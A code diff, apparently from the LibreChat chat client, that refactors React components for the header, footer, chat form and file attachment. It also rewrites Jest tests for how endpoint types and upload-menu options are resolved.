import { useChatContext, useAddedChatContext } from '~/Providers'; import { useGetConversation, useLocalize } from '~/hooks';
import { mainTextareaId } from '~/common'; import { mainTextareaId } from '~/common';
import { useLocalize } from '~/hooks'; import store from '~/store';
function AddMultiConvo() { function AddMultiConvo() {
const { conversation } = useChatContext();
const { setConversation: setAddedConvo } = useAddedChatContext();
const localize = useLocalize(); const localize = useLocalize();
const getConversation = useGetConversation(0);
const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
const setAddedConvo = useSetRecoilState(store.conversationByIndex(1));
const clickHandler = () => { const clickHandler = useCallback(() => {
const conversation = getConversation();
const { title: _t, ...convo } = conversation ?? ({} as TConversation); const { title: _t, ...convo } = conversation ?? ({} as TConversation);
setAddedConvo({ setAddedConvo({
...convo, ...convo,
@ -22,13 +26,13 @@ function AddMultiConvo() {
if (textarea) { if (textarea) {
textarea.focus(); textarea.focus();
} }
}; }, [getConversation, setAddedConvo]);
if (!conversation) { if (!endpoint) {
return null; return null;
} }
if (isAssistantsEndpoint(conversation.endpoint)) { if (isAssistantsEndpoint(endpoint)) {
return null; return null;
} }

View file

@ -1,11 +1,11 @@
import React, { useEffect } from 'react'; import React, { useEffect, memo } from 'react';
import ReactMarkdown from 'react-markdown';
import TagManager from 'react-gtm-module'; import TagManager from 'react-gtm-module';
import ReactMarkdown from 'react-markdown';
import { Constants } from 'librechat-data-provider'; import { Constants } from 'librechat-data-provider';
import { useGetStartupConfig } from '~/data-provider'; import { useGetStartupConfig } from '~/data-provider';
import { useLocalize } from '~/hooks'; import { useLocalize } from '~/hooks';
export default function Footer({ className }: { className?: string }) { function Footer({ className }: { className?: string }) {
const { data: config } = useGetStartupConfig(); const { data: config } = useGetStartupConfig();
const localize = useLocalize(); const localize = useLocalize();
@ -98,3 +98,8 @@ export default function Footer({ className }: { className?: string }) {
</div> </div>
); );
} }
const MemoizedFooter = memo(Footer);
MemoizedFooter.displayName = 'Footer';
export default MemoizedFooter;

View file

@ -1,4 +1,4 @@
import { useMemo } from 'react'; import { memo, useMemo } from 'react';
import { useMediaQuery } from '@librechat/client'; import { useMediaQuery } from '@librechat/client';
import { useOutletContext } from 'react-router-dom'; import { useOutletContext } from 'react-router-dom';
import { AnimatePresence, motion } from 'framer-motion'; import { AnimatePresence, motion } from 'framer-motion';
@ -16,7 +16,7 @@ import { cn } from '~/utils';
const defaultInterface = getConfigDefaults().interface; const defaultInterface = getConfigDefaults().interface;
export default function Header() { function Header() {
const { data: startupConfig } = useGetStartupConfig(); const { data: startupConfig } = useGetStartupConfig();
const { navVisible, setNavVisible } = useOutletContext<ContextType>(); const { navVisible, setNavVisible } = useOutletContext<ContextType>();
@ -35,6 +35,11 @@ export default function Header() {
permission: Permissions.USE, permission: Permissions.USE,
}); });
const hasAccessToTemporaryChat = useHasAccess({
permissionType: PermissionTypes.TEMPORARY_CHAT,
permission: Permissions.USE,
});
const isSmallScreen = useMediaQuery('(max-width: 768px)'); const isSmallScreen = useMediaQuery('(max-width: 768px)');
return ( return (
@ -73,7 +78,7 @@ export default function Header() {
<ExportAndShareMenu <ExportAndShareMenu
isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false} isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false}
/> />
<TemporaryChat /> {hasAccessToTemporaryChat === true && <TemporaryChat />}
</> </>
)} )}
</div> </div>
@ -85,7 +90,7 @@ export default function Header() {
<ExportAndShareMenu <ExportAndShareMenu
isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false} isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false}
/> />
<TemporaryChat /> {hasAccessToTemporaryChat === true && <TemporaryChat />}
</div> </div>
)} )}
</div> </div>
@ -94,3 +99,8 @@ export default function Header() {
</div> </div>
); );
} }
const MemoizedHeader = memo(Header);
MemoizedHeader.displayName = 'Header';
export default MemoizedHeader;

View file

@ -219,7 +219,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
<div className={cn('flex w-full items-center', isRTL && 'flex-row-reverse')}> <div className={cn('flex w-full items-center', isRTL && 'flex-row-reverse')}>
{showPlusPopover && !isAssistantsEndpoint(endpoint) && ( {showPlusPopover && !isAssistantsEndpoint(endpoint) && (
<Mention <Mention
conversation={conversation}
setShowMentionPopover={setShowPlusPopover} setShowMentionPopover={setShowPlusPopover}
newConversation={generateConversation} newConversation={generateConversation}
textAreaRef={textAreaRef} textAreaRef={textAreaRef}
@ -230,7 +229,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
)} )}
{showMentionPopover && ( {showMentionPopover && (
<Mention <Mention
conversation={conversation}
setShowMentionPopover={setShowMentionPopover} setShowMentionPopover={setShowMentionPopover}
newConversation={newConversation} newConversation={newConversation}
textAreaRef={textAreaRef} textAreaRef={textAreaRef}

View file

@ -2,10 +2,9 @@ import { memo, useMemo } from 'react';
import { import {
Constants, Constants,
supportsFiles, supportsFiles,
EModelEndpoint,
mergeFileConfig, mergeFileConfig,
isAgentsEndpoint, isAgentsEndpoint,
getEndpointField, resolveEndpointType,
isAssistantsEndpoint, isAssistantsEndpoint,
getEndpointFileConfig, getEndpointFileConfig,
} from 'librechat-data-provider'; } from 'librechat-data-provider';
@ -55,21 +54,31 @@ function AttachFileChat({
const { data: endpointsConfig } = useGetEndpointsQuery(); const { data: endpointsConfig } = useGetEndpointsQuery();
const endpointType = useMemo(() => { const agentProvider = useMemo(() => {
return ( if (!isAgents || !conversation?.agent_id) {
getEndpointField(endpointsConfig, endpoint, 'type') || return undefined;
(endpoint as EModelEndpoint | undefined) }
); const agent = agentData || agentsMap?.[conversation.agent_id];
}, [endpoint, endpointsConfig]); return agent?.provider;
}, [isAgents, conversation?.agent_id, agentData, agentsMap]);
const endpointType = useMemo(
() => resolveEndpointType(endpointsConfig, endpoint, agentProvider),
[endpointsConfig, endpoint, agentProvider],
);
const fileConfigEndpoint = useMemo(
() => (isAgents && agentProvider ? agentProvider : endpoint),
[isAgents, agentProvider, endpoint],
);
const endpointFileConfig = useMemo( const endpointFileConfig = useMemo(
() => () =>
getEndpointFileConfig({ getEndpointFileConfig({
endpoint,
fileConfig, fileConfig,
endpointType, endpointType,
endpoint: fileConfigEndpoint,
}), }),
[endpoint, fileConfig, endpointType], [fileConfigEndpoint, fileConfig, endpointType],
); );
const endpointSupportsFiles: boolean = useMemo( const endpointSupportsFiles: boolean = useMemo(
() => supportsFiles[endpointType ?? endpoint ?? ''] ?? false, () => supportsFiles[endpointType ?? endpoint ?? ''] ?? false,

View file

@ -50,7 +50,7 @@ interface AttachFileMenuProps {
endpoint?: string | null; endpoint?: string | null;
disabled?: boolean | null; disabled?: boolean | null;
conversationId: string; conversationId: string;
endpointType?: EModelEndpoint; endpointType?: EModelEndpoint | string;
endpointFileConfig?: EndpointFileConfig; endpointFileConfig?: EndpointFileConfig;
useResponsesApi?: boolean; useResponsesApi?: boolean;
} }

View file

@ -3,10 +3,10 @@ import { useToastContext } from '@librechat/client';
import { EToolResources } from 'librechat-data-provider'; import { EToolResources } from 'librechat-data-provider';
import type { ExtendedFile } from '~/common'; import type { ExtendedFile } from '~/common';
import { useDeleteFilesMutation } from '~/data-provider'; import { useDeleteFilesMutation } from '~/data-provider';
import { logger, getCachedPreview } from '~/utils';
import { useFileDeletion } from '~/hooks/Files'; import { useFileDeletion } from '~/hooks/Files';
import FileContainer from './FileContainer'; import FileContainer from './FileContainer';
import { useLocalize } from '~/hooks'; import { useLocalize } from '~/hooks';
import { logger } from '~/utils';
import Image from './Image'; import Image from './Image';
export default function FileRow({ export default function FileRow({
@ -24,7 +24,7 @@ export default function FileRow({
files: Map<string, ExtendedFile> | undefined; files: Map<string, ExtendedFile> | undefined;
abortUpload?: () => void; abortUpload?: () => void;
setFiles: React.Dispatch<React.SetStateAction<Map<string, ExtendedFile>>>; setFiles: React.Dispatch<React.SetStateAction<Map<string, ExtendedFile>>>;
setFilesLoading: React.Dispatch<React.SetStateAction<boolean>>; setFilesLoading?: React.Dispatch<React.SetStateAction<boolean>>;
fileFilter?: (file: ExtendedFile) => boolean; fileFilter?: (file: ExtendedFile) => boolean;
assistant_id?: string; assistant_id?: string;
agent_id?: string; agent_id?: string;
@ -58,6 +58,7 @@ export default function FileRow({
const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource }); const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource });
useEffect(() => { useEffect(() => {
if (!setFilesLoading) return;
if (files.length === 0) { if (files.length === 0) {
setFilesLoading(false); setFilesLoading(false);
return; return;
@ -111,13 +112,15 @@ export default function FileRow({
) )
.uniqueFiles.map((file: ExtendedFile, index: number) => { .uniqueFiles.map((file: ExtendedFile, index: number) => {
const handleDelete = () => { const handleDelete = () => {
showToast({
message: localize('com_ui_deleting_file'),
status: 'info',
});
if (abortUpload && file.progress < 1) { if (abortUpload && file.progress < 1) {
abortUpload(); abortUpload();
} }
if (file.progress >= 1) {
showToast({
message: localize('com_ui_deleting_file'),
status: 'info',
});
}
deleteFile({ file, setFiles }); deleteFile({ file, setFiles });
}; };
const isImage = file.type?.startsWith('image') ?? false; const isImage = file.type?.startsWith('image') ?? false;
@ -133,7 +136,7 @@ export default function FileRow({
> >
{isImage ? ( {isImage ? (
<Image <Image
url={file.progress === 1 ? file.filepath : (file.preview ?? file.filepath)} url={getCachedPreview(file.file_id) ?? file.preview ?? file.filepath}
onDelete={handleDelete} onDelete={handleDelete}
progress={file.progress} progress={file.progress}
source={file.source} source={file.source}

View file

@ -0,0 +1,176 @@
import React from 'react';
import { render, screen } from '@testing-library/react';
import { RecoilRoot } from 'recoil';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
import AttachFileChat from '../AttachFileChat';
const mockEndpointsConfig: TEndpointsConfig = {
[EModelEndpoint.openAI]: { userProvide: false, order: 0 },
[EModelEndpoint.agents]: { userProvide: false, order: 1 },
[EModelEndpoint.assistants]: { userProvide: false, order: 2 },
Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
};
const mockFileConfig = mergeFileConfig({
endpoints: {
Moonshot: { fileLimit: 5 },
[EModelEndpoint.agents]: { fileLimit: 20 },
default: { fileLimit: 10 },
},
});
let mockAgentsMap: Record<string, Partial<Agent>> = {};
let mockAgentQueryData: Partial<Agent> | undefined;
jest.mock('~/data-provider', () => ({
useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
data: select != null ? select(mockFileConfig) : mockFileConfig,
}),
useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
}));
jest.mock('~/Providers', () => ({
useAgentsMapContext: () => mockAgentsMap,
}));
/** Capture the props passed to AttachFileMenu */
let mockAttachFileMenuProps: Record<string, unknown> = {};
jest.mock('../AttachFileMenu', () => {
return function MockAttachFileMenu(props: Record<string, unknown>) {
mockAttachFileMenuProps = props;
return <div data-testid="attach-file-menu" data-endpoint-type={String(props.endpointType)} />;
};
});
jest.mock('../AttachFile', () => {
return function MockAttachFile() {
return <div data-testid="attach-file" />;
};
});
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
function renderComponent(conversation: Record<string, unknown> | null, disableInputs = false) {
return render(
<QueryClientProvider client={queryClient}>
<RecoilRoot>
<AttachFileChat conversation={conversation as never} disableInputs={disableInputs} />
</RecoilRoot>
</QueryClientProvider>,
);
}
describe('AttachFileChat', () => {
beforeEach(() => {
mockAgentsMap = {};
mockAgentQueryData = undefined;
mockAttachFileMenuProps = {};
});
describe('rendering decisions', () => {
it('renders AttachFileMenu for agents endpoint', () => {
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
});
it('renders AttachFileMenu for custom endpoint with file support', () => {
renderComponent({ endpoint: 'Moonshot' });
expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
});
it('renders null for null conversation', () => {
const { container } = renderComponent(null);
expect(container.innerHTML).toBe('');
});
});
describe('endpointType resolution for agents', () => {
it('passes custom endpointType when agent provider is a custom endpoint', () => {
mockAgentsMap = {
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
};
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
});
it('passes openAI endpointType when agent provider is openAI', () => {
mockAgentsMap = {
'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
};
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
});
it('passes agents endpointType when no agent provider', () => {
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
});
it('passes agents endpointType when no agent_id', () => {
renderComponent({ endpoint: EModelEndpoint.agents });
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
});
it('uses agentData query when agent not in agentsMap', () => {
mockAgentQueryData = { provider: 'Moonshot' } as Partial<Agent>;
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-2' });
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
});
});
describe('endpointType resolution for non-agents', () => {
it('passes custom endpointType for a custom endpoint', () => {
renderComponent({ endpoint: 'Moonshot' });
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
});
it('passes openAI endpointType for openAI endpoint', () => {
renderComponent({ endpoint: EModelEndpoint.openAI });
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
});
});
describe('consistency: same endpoint type for direct vs agent usage', () => {
it('resolves Moonshot the same way whether used directly or through an agent', () => {
renderComponent({ endpoint: 'Moonshot' });
const directType = mockAttachFileMenuProps.endpointType;
mockAgentsMap = {
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
};
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
const agentType = mockAttachFileMenuProps.endpointType;
expect(directType).toBe(agentType);
});
});
describe('endpointFileConfig resolution', () => {
it('passes Moonshot-specific file config for agent with Moonshot provider', () => {
mockAgentsMap = {
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
};
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
expect(config?.fileLimit).toBe(5);
});
it('passes agents file config when agent has no specific provider config', () => {
mockAgentsMap = {
'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
};
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
expect(config?.fileLimit).toBe(10);
});
it('passes agents file config when no agent provider', () => {
renderComponent({ endpoint: EModelEndpoint.agents });
const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
expect(config?.fileLimit).toBe(20);
});
});
});

View file

@ -1,12 +1,10 @@
import React from 'react'; import React from 'react';
import { render, screen, fireEvent } from '@testing-library/react'; import { render, screen, fireEvent } from '@testing-library/react';
import '@testing-library/jest-dom';
import { RecoilRoot } from 'recoil'; import { RecoilRoot } from 'recoil';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { EModelEndpoint } from 'librechat-data-provider'; import { EModelEndpoint, Providers } from 'librechat-data-provider';
import AttachFileMenu from '../AttachFileMenu'; import AttachFileMenu from '../AttachFileMenu';
// Mock all the hooks
jest.mock('~/hooks', () => ({ jest.mock('~/hooks', () => ({
useAgentToolPermissions: jest.fn(), useAgentToolPermissions: jest.fn(),
useAgentCapabilities: jest.fn(), useAgentCapabilities: jest.fn(),
@ -25,53 +23,45 @@ jest.mock('~/data-provider', () => ({
})); }));
jest.mock('~/components/SharePoint', () => ({ jest.mock('~/components/SharePoint', () => ({
SharePointPickerDialog: jest.fn(() => null), SharePointPickerDialog: () => null,
})); }));
jest.mock('@librechat/client', () => { jest.mock('@librechat/client', () => {
const React = jest.requireActual('react'); // eslint-disable-next-line @typescript-eslint/no-require-imports
const R = require('react');
return { return {
FileUpload: React.forwardRef(({ children, handleFileChange }: any, ref: any) => ( FileUpload: (props) => R.createElement('div', { 'data-testid': 'file-upload' }, props.children),
<div data-testid="file-upload"> TooltipAnchor: (props) => props.render,
<input ref={ref} type="file" onChange={handleFileChange} data-testid="file-input" /> DropdownPopup: (props) =>
{children} R.createElement(
</div> 'div',
)), null,
TooltipAnchor: ({ render }: any) => render, R.createElement('div', { onClick: () => props.setIsOpen(!props.isOpen) }, props.trigger),
DropdownPopup: ({ trigger, items, isOpen, setIsOpen }: any) => { props.isOpen &&
const handleTriggerClick = () => { R.createElement(
if (setIsOpen) { 'div',
setIsOpen(!isOpen); { 'data-testid': 'dropdown-menu' },
} props.items.map((item, idx) =>
}; R.createElement(
'button',
return ( { key: idx, onClick: item.onClick, 'data-testid': `menu-item-${idx}` },
<div> item.label,
<div onClick={handleTriggerClick}>{trigger}</div> ),
{isOpen && ( ),
<div data-testid="dropdown-menu"> ),
{items.map((item: any, idx: number) => ( ),
<button key={idx} onClick={item.onClick} data-testid={`menu-item-${idx}`}> AttachmentIcon: () => R.createElement('span', { 'data-testid': 'attachment-icon' }),
{item.label} SharePointIcon: () => R.createElement('span', { 'data-testid': 'sharepoint-icon' }),
</button>
))}
</div>
)}
</div>
);
},
AttachmentIcon: () => <span data-testid="attachment-icon">📎</span>,
SharePointIcon: () => <span data-testid="sharepoint-icon">SP</span>,
}; };
}); });
jest.mock('@ariakit/react', () => ({ jest.mock('@ariakit/react', () => {
MenuButton: ({ children, onClick, disabled, ...props }: any) => ( // eslint-disable-next-line @typescript-eslint/no-require-imports
<button onClick={onClick} disabled={disabled} {...props}> const R = require('react');
{children} return {
</button> MenuButton: (props) => R.createElement('button', props, props.children),
), };
})); });
const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions; const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions;
const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities; const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities;
@ -83,558 +73,283 @@ const mockUseSharePointFileHandling = jest.requireMock(
).default; ).default;
const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig; const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig;
describe('AttachFileMenu', () => { const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
const queryClient = new QueryClient({
defaultOptions: {
queries: { retry: false },
},
});
const mockHandleFileChange = jest.fn(); function setupMocks(overrides: { provider?: string } = {}) {
const translations: Record<string, string> = {
beforeEach(() => { com_ui_upload_provider: 'Upload to Provider',
jest.clearAllMocks(); com_ui_upload_image_input: 'Upload Image',
com_ui_upload_ocr_text: 'Upload as Text',
// Default mock implementations com_ui_upload_file_search: 'Upload for File Search',
mockUseLocalize.mockReturnValue((key: string) => { com_ui_upload_code_files: 'Upload Code Files',
const translations: Record<string, string> = { com_sidepanel_attach_files: 'Attach Files',
com_ui_upload_provider: 'Upload to Provider', com_files_upload_sharepoint: 'Upload from SharePoint',
com_ui_upload_image_input: 'Upload Image',
com_ui_upload_ocr_text: 'Upload OCR Text',
com_ui_upload_file_search: 'Upload for File Search',
com_ui_upload_code_files: 'Upload Code Files',
com_sidepanel_attach_files: 'Attach Files',
com_files_upload_sharepoint: 'Upload from SharePoint',
};
return translations[key] || key;
});
mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false,
fileSearchEnabled: false,
codeEnabled: false,
});
mockUseGetAgentsConfig.mockReturnValue({
agentsConfig: {
capabilities: {
contextEnabled: false,
fileSearchEnabled: false,
codeEnabled: false,
},
},
});
mockUseFileHandling.mockReturnValue({
handleFileChange: mockHandleFileChange,
});
mockUseSharePointFileHandling.mockReturnValue({
handleSharePointFiles: jest.fn(),
isProcessing: false,
downloadProgress: 0,
});
mockUseGetStartupConfig.mockReturnValue({
data: {
sharePointFilePickerEnabled: false,
},
});
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: undefined,
});
});
const renderAttachFileMenu = (props: any = {}) => {
return render(
<QueryClientProvider client={queryClient}>
<RecoilRoot>
<AttachFileMenu conversationId="test-conversation" {...props} />
</RecoilRoot>
</QueryClientProvider>,
);
}; };
mockUseLocalize.mockReturnValue((key: string) => translations[key] || key);
describe('Basic Rendering', () => { mockUseAgentCapabilities.mockReturnValue({
it('should render the attachment button', () => { contextEnabled: false,
renderAttachFileMenu(); fileSearchEnabled: false,
const button = screen.getByRole('button', { name: /attach file options/i }); codeEnabled: false,
expect(button).toBeInTheDocument();
});
it('should be disabled when disabled prop is true', () => {
renderAttachFileMenu({ disabled: true });
const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).toBeDisabled();
});
it('should not be disabled when disabled prop is false', () => {
renderAttachFileMenu({ disabled: false });
const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).not.toBeDisabled();
});
}); });
mockUseGetAgentsConfig.mockReturnValue({ agentsConfig: {} });
mockUseFileHandling.mockReturnValue({ handleFileChange: jest.fn() });
mockUseSharePointFileHandling.mockReturnValue({
handleSharePointFiles: jest.fn(),
isProcessing: false,
downloadProgress: 0,
});
mockUseGetStartupConfig.mockReturnValue({ data: { sharePointFilePickerEnabled: false } });
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: overrides.provider ?? undefined,
});
}
describe('Provider Detection Fix - endpointType Priority', () => { function renderMenu(props: Record<string, unknown> = {}) {
it('should prioritize endpointType over currentProvider for LiteLLM gateway', () => { return render(
mockUseAgentToolPermissions.mockReturnValue({ <QueryClientProvider client={queryClient}>
fileSearchAllowedByAgent: false, <RecoilRoot>
codeAllowedByAgent: false, <AttachFileMenu conversationId="test-convo" {...props} />
provider: 'litellm', // Custom gateway name NOT in documentSupportedProviders </RecoilRoot>
}); </QueryClientProvider>,
);
}
renderAttachFileMenu({ function openMenu() {
endpoint: 'litellm', fireEvent.click(screen.getByRole('button', { name: /attach file options/i }));
endpointType: EModelEndpoint.openAI, // Backend override IS in documentSupportedProviders }
});
const button = screen.getByRole('button', { name: /attach file options/i }); describe('AttachFileMenu', () => {
fireEvent.click(button); beforeEach(jest.clearAllMocks);
// With the fix, should show "Upload to Provider" because endpointType is checked first describe('Upload to Provider vs Upload Image', () => {
it('shows "Upload to Provider" when endpointType is custom (resolved from agent provider)', () => {
setupMocks({ provider: 'Moonshot' });
renderMenu({ endpointType: EModelEndpoint.custom });
openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
expect(screen.queryByText('Upload Image')).not.toBeInTheDocument(); expect(screen.queryByText('Upload Image')).not.toBeInTheDocument();
}); });
it('should show Upload to Provider for custom endpoints with OpenAI endpointType', () => { it('shows "Upload to Provider" when endpointType is openAI', () => {
mockUseAgentToolPermissions.mockReturnValue({ setupMocks({ provider: EModelEndpoint.openAI });
fileSearchAllowedByAgent: false, renderMenu({ endpointType: EModelEndpoint.openAI });
codeAllowedByAgent: false, openMenu();
provider: 'my-custom-gateway',
});
renderAttachFileMenu({
endpoint: 'my-custom-gateway',
endpointType: EModelEndpoint.openAI,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
}); });
it('should show Upload Image when neither endpointType nor provider support documents', () => { it('shows "Upload to Provider" when endpointType is anthropic', () => {
mockUseAgentToolPermissions.mockReturnValue({ setupMocks({ provider: EModelEndpoint.anthropic });
fileSearchAllowedByAgent: false, renderMenu({ endpointType: EModelEndpoint.anthropic });
codeAllowedByAgent: false, openMenu();
provider: 'unsupported-provider', expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
}); });
renderAttachFileMenu({ it('shows "Upload to Provider" when endpointType is google', () => {
endpoint: 'unsupported-provider', setupMocks({ provider: Providers.GOOGLE });
endpointType: 'unsupported-endpoint' as any, renderMenu({ endpointType: EModelEndpoint.google });
}); openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
const button = screen.getByRole('button', { name: /attach file options/i }); });
fireEvent.click(button);
it('shows "Upload Image" when endpointType is agents (no provider resolution)', () => {
setupMocks();
renderMenu({ endpointType: EModelEndpoint.agents });
openMenu();
expect(screen.getByText('Upload Image')).toBeInTheDocument(); expect(screen.getByText('Upload Image')).toBeInTheDocument();
expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument(); expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
}); });
it('should fallback to currentProvider when endpointType is undefined', () => { it('shows "Upload Image" when neither endpointType nor provider supports documents', () => {
mockUseAgentToolPermissions.mockReturnValue({ setupMocks({ provider: 'unknown-provider' });
fileSearchAllowedByAgent: false, renderMenu({ endpointType: 'unknown-type' });
codeAllowedByAgent: false, openMenu();
provider: EModelEndpoint.openAI, expect(screen.getByText('Upload Image')).toBeInTheDocument();
}); });
renderAttachFileMenu({
endpoint: EModelEndpoint.openAI,
endpointType: undefined,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
it('shows "Upload to Provider" for azureOpenAI with useResponsesApi', () => {
setupMocks({ provider: EModelEndpoint.azureOpenAI });
renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: true });
openMenu();
expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
}); });
it('should fallback to currentProvider when endpointType is null', () => { it('shows "Upload Image" for azureOpenAI without useResponsesApi', () => {
mockUseAgentToolPermissions.mockReturnValue({ setupMocks({ provider: EModelEndpoint.azureOpenAI });
fileSearchAllowedByAgent: false, renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: false });
codeAllowedByAgent: false, openMenu();
provider: EModelEndpoint.anthropic, expect(screen.getByText('Upload Image')).toBeInTheDocument();
});
renderAttachFileMenu({
endpoint: EModelEndpoint.anthropic,
endpointType: null,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
}); });
}); });
describe('Supported Providers', () => { describe('agent provider resolution scenario', () => {
const supportedProviders = [ it('shows "Upload to Provider" when agents endpoint has custom endpointType from provider', () => {
{ name: 'OpenAI', endpoint: EModelEndpoint.openAI }, setupMocks({ provider: 'Moonshot' });
{ name: 'Anthropic', endpoint: EModelEndpoint.anthropic }, renderMenu({
{ name: 'Google', endpoint: EModelEndpoint.google }, endpoint: EModelEndpoint.agents,
{ name: 'Custom', endpoint: EModelEndpoint.custom }, endpointType: EModelEndpoint.custom,
];
supportedProviders.forEach(({ name, endpoint }) => {
it(`should show Upload to Provider for ${name}`, () => {
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: endpoint,
});
renderAttachFileMenu({
endpoint,
endpointType: endpoint,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
}); });
}); openMenu();
it('should show Upload to Provider for Azure OpenAI with useResponsesApi', () => {
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: EModelEndpoint.azureOpenAI,
});
renderAttachFileMenu({
endpoint: EModelEndpoint.azureOpenAI,
endpointType: EModelEndpoint.azureOpenAI,
useResponsesApi: true,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
}); });
it('should NOT show Upload to Provider for Azure OpenAI without useResponsesApi', () => { it('shows "Upload Image" when agents endpoint has no resolved provider type', () => {
mockUseAgentToolPermissions.mockReturnValue({ setupMocks();
fileSearchAllowedByAgent: false, renderMenu({
codeAllowedByAgent: false, endpoint: EModelEndpoint.agents,
provider: EModelEndpoint.azureOpenAI, endpointType: EModelEndpoint.agents,
}); });
openMenu();
renderAttachFileMenu({
endpoint: EModelEndpoint.azureOpenAI,
endpointType: EModelEndpoint.azureOpenAI,
useResponsesApi: false,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
expect(screen.getByText('Upload Image')).toBeInTheDocument(); expect(screen.getByText('Upload Image')).toBeInTheDocument();
}); });
}); });
describe('Basic Rendering', () => {
it('renders the attachment button', () => {
setupMocks();
renderMenu();
expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
it('is disabled when disabled prop is true', () => {
setupMocks();
renderMenu({ disabled: true });
expect(screen.getByRole('button', { name: /attach file options/i })).toBeDisabled();
});
it('is not disabled when disabled prop is false', () => {
setupMocks();
renderMenu({ disabled: false });
expect(screen.getByRole('button', { name: /attach file options/i })).not.toBeDisabled();
});
});
describe('Agent Capabilities', () => { describe('Agent Capabilities', () => {
it('should show OCR Text option when context is enabled', () => { it('shows OCR Text option when context is enabled', () => {
setupMocks();
